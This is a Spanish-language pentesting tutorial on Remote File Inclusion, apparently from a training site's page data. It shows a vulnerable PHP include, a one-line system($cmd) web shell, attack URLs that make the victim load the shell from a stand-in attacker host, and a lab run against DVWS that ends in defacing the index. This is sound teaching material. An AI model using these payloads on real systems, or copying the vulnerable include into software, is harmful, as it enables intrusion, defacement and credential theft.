[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fz9U2aoqcwSv_H6KGnS05152bepYNnv8XpiOJq2qIajI":3},{"slug":4,"title":5,"summary":6,"category":7,"author":10,"image_url":16,"image_thumb_url":16,"published_at":17,"updated_at":18,"body_html":19,"keywords":4,"reading_time_minutes":20,"related_articles":21,"related_course":58,"related_specialty":79},"rfi-explotando-la-vulnerabilidad-rfi","Explotando la Vulnerabilidad RFI","La vulnerabilidad RFI (Remote File Inclusion) permite a un atacante ejecutar archivos remotos alojados en otros servidores.",{"slug":8,"name":9},"auditoria-aplicaciones-web","Pentesting a Aplicaciones Web",{"username":11,"name":12,"avatar_url":13,"headline":14,"aboutme":15},"saamux","Samuel Esteban","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBbDRJIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--6e60a39152819c1c857e0a1e157e99a5fe76ddf9\u002Fperfil.png","Senior Pentester","Actualmente me desempeño como Pentester...","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZ29PIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--246258161fac29ce3cc92582785f1b22cea6f38c\u002Fshutterstock_1066763072.jpg","2016-09-15T22:19:59-03:00","2026-10-26T18:16:13-03:00","\u003Cp>La vulnerabilidad RFI (Remote File Inclusion) permite a un atacante ejecutar archivos remotos alojados en otros servidores. \u003Cbr>\u003Cbr>Por ejemplo, se tiene el siguiente sitio web:\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Estructura:\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>seccion.php\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cpre>\u003Cspan><?php\u003Cbr>\u003C\u002Fspan>\u003Cspan>include $_REQUEST['id'];\u003Cbr>\u003C\u002Fspan>\u003Cspan>?>\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cp>\u003Cspan>El parámetro se pasaría de esta forma:\u003Cbr>\u003Cbr>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cpre>\u003Cspan>http:\u002F\u002Fwww.victima.com\u002Fseccion.php?id=home\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cp>Se podría testear la vulnerabilidad, agregando un archivo remoto al parámetro id de la siguiente manera:\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cpre>\u003Ca href=\"http:\u002F\u002Fwww.victima.com\u002Fseccion.php?id=http:\u002F\u002Fwww.serveratacante.com\u002Fshell.txt&&cmd=ls\">http:\u002F\u002Fwww.victima.com\u002Fseccion.php?id=http:\u002F\u002Fwww.serveratacante.com\u002Fshell.txt&&cmd=ls\u003C\u002Fa>\u003C\u002Fpre>\r\n\u003Cp>Ejemplo:\u003C\u002Fp>\r\n\u003Cp>shell.txt\u003C\u002Fp>\r\n\u003Cpre><?\u003Cbr>system($cmd)\u003Cbr>?>\u003C\u002Fpre>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>Con esto le estamos diciendo a la aplicación, que ejecute la shell del servidor atacante ejecutando el comando ls para listar archivos del servidor víctima, la diferencia principal con la vulnerabilidad LFI, es que esta vulnerabilidad funciona a través de una petición con un servidor web externo, mientras que la vulnerabilidad LFI solo funciona directamente contra el servidor web víctima. A continuación veremos un ejemplo más práctico sobre dicha vulnerabilidad.\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002FJfULruu_woLXVA-d_5JltEm81_6K0Ps0jW6v5grYDi_t4w3bLMg5Qz5JNxxOo_Q9RdJPXlKPJm2Ez-EQ7XRmYoC7BaGIare4xvsO7swY9X73Jd3sUfr0oFIQiz5HVUSC7SxY3ibCjP0erJQDyQ\" width=\"589\" height=\"292\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Sitio Web aparentemente vulnerable\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>Para probar esta vulnerabilidad agregaremos el sitio web, https:\u002F\u002Fwww.google.cl, de tal manera que, si el aplicativo es vulnerable, nos debería mostrar el sitio web de google dentro del sitio web víctima. Por lo tanto el vector de ataque, quedaría de la siguiente forma:\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cpre>\u003Cspan>http:\u002F\u002F192.168.1.40\u002Fdvws\u002Fvulnerabilities\u002Ffi\u002F?page=http:\u002F\u002Fwww.google.cl\u002F\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cp>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002F9n4Kt5UKwIzyialYa8RpC47JQwEqExv-qgZaeawin6qGr9FtFrRs8jePY7BjQeR7ShEb4jg-M9w9j2v6-4aCiZvXplfj50LHaHp0gx5ZdI64f2k5nPOa7UFEr_C5TOIgLxM_DoYMiFO5-nHaRQ\" width=\"589\" height=\"297\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>Sitio Web vulnerable a RFI\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>A continuación utilizaremos un servidor atacante el cual tendrá una shell para que posteriormente sea ejecutada en el servidor web de la víctima.\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cpre>\u003Cspan>\u003Cspan>\u003Cspan>http:\u002F\u002F192.168.1.40\u002Fdvws\u002Fvulnerabilities\u002Ffi\u002F?page=192.168.1.8\u002Fshell.txt\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fpre>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002F0xLcbRIA1mDLdnPvUs2EnWo-KtffqHVcE4r-SxO2A7xB0O75nTi9TBZUmFoYAX1_lsLoeHcl36YoskBAsbBCb3ePtWQr6UsyG5XN-fPhOrxO8xFyRZe9maxmamkFXpcPZ5QLUQH7Fp4rooPvzg\" width=\"589\" height=\"299\">\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>Shell en Servidor Víctima\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>El servidor víctima interpretó dicha extensión txt como php, por ende al intentar recuperar un archivo de un servidor web externo, este es procesado como php y cómo es posible observar tenemos la shell en el servidor víctima, finalmente editamos el index para reflejar el fallo de seguridad.\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh4.googleusercontent.com\u002Fk2u8LOA32WO6tVD_DMQoIwrYdeU1Cxu344X_buovwxkpPGmsD89SsYfpsIPEIqECYGJcY98xLZojIOBmH8ac_tu8NCDBs3vQNftSK--kQLrxgav1hgpv9sg9l0jKKbnc7TfxfaKbBQd_VeMn6A\" width=\"589\" height=\"263\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cem>\u003Cspan>\u003Cspan>\u003Cspan>Editando Index\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fem>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cimg src=\"https:\u002F\u002Flh6.googleusercontent.com\u002FR_aiwGVLqz7N18KMU1tZ9-3NU2keuIRJQxxNlfCXIvcl6JuO6xBlMnJQ1vLGG4U_s8_QIU47A4Skt0fio1AOc0Ctzu0tMQu3H1zW8vjJ6rW-85fd84Y7KdGZa_5EoeFzvSXxzY3fZtrIryBEZw\" width=\"589\" height=\"151\">\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan> \u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>\u003Cspan>Una vez que se tiene acceso a través de la shell, se pueden obtener contraseñas, modificar archivos, acceder a contenidos ocultos, etc.\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fspan>\u003C\u002Fp>\r\n\u003Cp> \u003C\u002Fp>",2,[22,34,46],{"slug":23,"title":24,"summary":25,"category":26,"author":27,"image_url":31,"image_thumb_url":31,"published_at":32,"updated_at":33},"api-keys-de-ia-como-protegerlas-tras-el-caso-opencode","API keys de IA: cómo protegerlas tras el caso OpenCode","Una API key expuesta puede permitir que terceros utilicen servicios de inteligencia artificial a tu nombre, generen consumos inesperados o accedan a recursos autorizados. El caso de OpenCode Console muestra por qué es importante proteger estas credenciales.",{"slug":8,"name":9},{"username":28,"name":29,"avatar_url":30},"pmcguirec","Paola Mc Guire Cancino","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdmtTIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--466caa3f018fd4504828ead39839900bd5de701d\u002F23415942.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdmdTIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--419c6de29a773e9e70f6f8f9230c2adb568555aa\u002FEspacio%20cyberpunk%20de%20claves%20y%20seguridad%20(1).png","2026-10-29T19:54:51-03:00","2026-10-29T19:54:52-03:00",{"slug":35,"title":36,"summary":37,"category":38,"author":39,"image_url":43,"image_thumb_url":43,"published_at":44,"updated_at":45},"sqlmap-ejemplo-con-metasploitable2","Sqlmap - ejemplo con metasploitable2","Hola, soy Martin Frias y en esta vez hablaré un poco sobre Sqlmap, Sqlmap es una herramienta que permite automatizar las inyecciones sql. La inyección sql es una vulnerabilidad que nos permite la inyección de código sql para que pueda ser ejecutado e interpretado y así obtener información de la base de datos, información a la que normalmente no deberíamos tener acceso, yo recomiendo fuertemente aprender lenguaje sql, para poder saber hacer inyecciones slq de forma manual, de manera que  si vas a usar herramientas automatizadas como sqlmap, por ejemplo, que sea por ahorrar algo de tiempo, porque siempre es mejor saber qué está haciendo un herramienta por detrás, no solo escribir un comando y no saber exactamente qué acabamos de hacer.",{"slug":8,"name":9},{"username":40,"name":41,"avatar_url":42},"coldd","Martin Frias",null,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdjRPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--514529c30f11596b49003fc5bd68b363e922629b\u002Fshutterstock_1085444453.jpg","2020-09-23T14:04:11-03:00","2026-10-26T11:01:19-03:00",{"slug":47,"title":48,"summary":49,"category":50,"author":51,"image_url":55,"image_thumb_url":55,"published_at":56,"updated_at":57},"portainer-gestor-web-para-docker","Portainer es una herramienta web open-source: Gestor Web para Docker","En los últimos años, las tecnologias de irutalizacioon de servicios y plataformas ha tomado poder en el mundo de las implementaciones. Uno de ellos es Docker, el cuál nos permite automatizar el despliegue de aplicaciones dentro de contenedores de software. A grandes ragos, Docker permite meter en un contenedor (un entorno cerrado) aquellas cosas que mi aplicación necesita para ser ejecutada (java, Maven, tomcat…) y la propia aplicación. Ese contenedor puede llevarse a cualquier máquina que tenga instalado Docker y ejecutar la aplicación independientemente de qué sistema operativo es, de si son compatibles o no.",{"slug":8,"name":9},{"username":52,"name":53,"avatar_url":54},"damch","Javier Candia","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBam9KIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--036416498d87c59fa3f0ac1f5e0a08336b65faf5\u002Fdescarga.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBdnNPIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--f33dca4def55d322137830da440c14fbc9abbd47\u002Fshutterstock_721673605.jpg","2020-08-31T12:17:41-04:00","2026-10-26T12:22:47-03:00",{"slug":59,"title":60,"summary":61,"level":62,"specialty":63,"category":66,"instructor":67,"image_url":71,"image_thumb_url":71,"duration_seconds":72,"lessons_count":73,"students_count":74,"is_free":75,"coming_soon":76,"timer":77,"updated_at":78},"retos-hacking-web","Retos Hacking Web","Aprende técnicas de Web Hacking con laboratorios reales las 24 horas.","Basicos",{"slug":64,"name":65},"web-application-testing-wat","Web Application Testing",{"slug":8,"name":9},{"username":68,"name":69,"avatar_url":70},"Rodolfo","Rodolfo Cecena","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBanNGIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2097f10306a2b3955ed91f935c2c204cee999900\u002Frodolfo.jpg","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBZzhOIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--2cf209dab21946647599db6af552f4c7be69a077\u002FRETOS-HACKING-01.png",9027,20,38321,true,false,"2018-08-29T01:01:00-03:00","2025-02-15T00:31:58-03:00",{"slug":64,"name":65,"summary":80,"level":81,"courses_count":82,"total_duration_seconds":83,"is_free":76,"image_url":84,"icon_url":85,"wallpaper_url":86,"updated_at":87},"Las aplicaciones web son las solicitadas por el mercado, una mala configuración o práctica puede comprometer una página web y dejarla expuesta a ataques como una inyección sql, la mayoría de páginas web están creadas…","Avanzado",12,148188,"https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaVVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--3da0fc1100f4cbea608297447bf7820177f5603b\u002FWeb-Aplication-Testing-02.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBaXNQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--72bafcc13a30961fa0d390b3685b3450726cdf5a\u002FWeb-Aplication-Testing.png","https:\u002F\u002Fapi.backtrackacademy.com\u002Frails\u002Factive_storage\u002Fblobs\u002Fredirect\u002FeyJfcmFpbHMiOnsibWVzc2FnZSI6IkJBaHBBakVQIiwiZXhwIjpudWxsLCJwdXIiOiJibG9iX2lkIn19--e43f452a65e4221aa712798b9da4c14461c4bf8d\u002FWeb-Aplication-Testing-02.png","2021-05-17T15:38:02-04:00"]